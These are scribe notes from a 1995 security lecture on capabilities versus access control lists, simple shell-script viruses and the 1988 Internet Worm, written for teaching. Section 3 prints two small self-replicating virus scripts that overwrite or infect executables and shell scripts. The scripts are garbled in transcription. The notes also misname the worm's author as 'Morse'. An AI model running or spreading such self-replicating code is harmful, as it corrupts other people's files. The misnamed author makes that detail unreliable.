6.915 Computer and Network Security **Fall Term, 1995**

Lecture 12 : 10/19/95

Lecturer: Ron Rivest *Scribe: Scott MacGregor*

1 Outline

In this lecture we will discuss the following topics:

- Comparison of ACLs and Capabilities
- Viruses
- Worm

Time constraints have forced a discussion on mandatory access controls to next Tuesday's lecture.

2 Comparison of ACLs and Capabilities

2.1 Capabilities

Several concerns must be addressed when examining capabilities as a means of access control. With capabilities, it is very difficult to determine who has access to an object. This could be a problem if the owner wants to change the access policy on the object. Revoking a user's access to an object is difficult using capabilities, requiring indirection and bulk revocation. In order to remove one user's access, the owner would have to revoke everyone's access and then re-issue the capability to all the valid users again. This becomes quite tedious on large scale computer networks.

Propagation of capabilities is another problem. Users might transfer or copy a capability to another user or process. There are two primary tools for dealing with this problem: copy bit and a depth counter. A copy bit is associated with each capability. The owner sets the copy bit of a capability before he/she gives it to another user. Thus, propagation of capabilities can be controlled. Of course, the copy bit must be enforced by the hardware or the operating system so the user cannot change its value. Accountability is another problem with capabilities. Possession of the ticket is all that is required to gain access; there is no identity check.

Capabilities have several advantages over ACLs. For instance, they are much more efficient as they run in constant time as opposed to the linear search time found in ACLs. As a result, capabilities are commonly used in low levels of an operating systems, where efficiency is important. It is also easier to call imported programs with capabilities than with ACLs because a more secure and better controlled environment can be established for the imported program.

2.2 Access Control Lists

ACLs also have some problems. They involve more complicated data structures and require complex manipulation routines. ACLs also raise several usage questions. Namely, who should have the ability to modify an ACL. There are two main policies for dealing with this question: self control and hierarchical control. A self control policy simply says the owner or creator of an ACL has the power to modify it. However, this could pose a problem if an owner were to lock his supervisor out of an important file. Hierarchical control allows each ACL to specify another ACL whose users have the ability to modify it. Thus, project supervisors have the ability to alter the ACL for a researcher's data file. Again, the operating system must be responsible for enforcing the hierarchical ACL policy. This policy has a flaw in that a corrupt supervisor could modify or remove with an employee's data.

3 Viruses and Worms

A virus copies itself into other programs and attempts to reproduce itself. McIlroy gives a good overview of viruses in "Virology 101", Computing Systems Spring 1989, pp. 173-181. He gives a simple example of a virus:

```
#!/bin/sh
for i in *
   do if test -x ''$i''
       then cp $o $i
      fi
done
```

This shell script looks at each file in the current directory and tests if the file is an executable. All executables are replaced with a copy of this virus file. Simple viruses like this one can be built upon and extended by adding more elaborate searches or leaving the original file intact, but adding the virus at the end of it.

A possible extension to this virus is:

```
for i in * #virus#
   do case ‘‘’sed1q$i’’’ in
‘‘#!/bin/sh’’) sed -n #virus#/, $p $o >> $i
      esac
done
```

This virus searches for any file which is a shell script (it searches for the #!/bin/sh string in the file) and copies itself to the end of the file. The next time the script is run, the virus will be run as well. This example virus could in turn be modified to verify if the file was already infected.

It should be noted that there are such things as good viruses. For instance, a good virus could monitor an executable's usage and automatically compress executables which have not been used after an extended period of time.

4 The Internet Worm

In November of 1988, a self propagating worm was released onto the ARPANET. Known as the Internet Worm, it didn't physically attach itself to other programs, but instead 'attached' itself to the computer system. It was created by Robert Morse Jr., the son of a well known computer security expert. A bug which prevented the worm from always checking to tell if a host was infected, caused the worm to overload the host computers it infected.

4.1 How it worked

The worm obtained a new target machine name from the host it had just infected. It then attempted to get a shell program running on the target machine. This shell program served as a beach head and was used to down load several binary files. The virus used several means to get the shell program running. In particular, it exploited a bug in the sendmail routine (a debug option was left enabled in the program release), along with a bug in the 'finger' routine.

These binary executables were used to crack passwords via a common password dictionary and the system dictionary. The virus then attacked a new set of target hosts using any cracked accounts it may have obtained from the current host.

4.2 Ramifications and Lessons Learned

The virus was not malicious. It did not harm any of the data on the systems it infected. Due to a flaw in its design, it overloaded the host machines, otherwise it may have never been detected! Robert Morse Jr.'s crime was that he abused system resources that were not his. What kind of punishment should he be charged with?

Many valuable lessons came out of the Internet Worm. The following list is just a brief summary.

- Least Privilege
- Beware of insider attacks
- Diversity in systems is good
- The cure should not be worse than the disease
- Defenses should be erected at the host and not the network level
- Denial of service attacks are easy!

5 Handouts and Readings

There were two handouts distributed in lecture. H18 was problem set 6 and H19 contained the three accompanying readings for Lecture 12.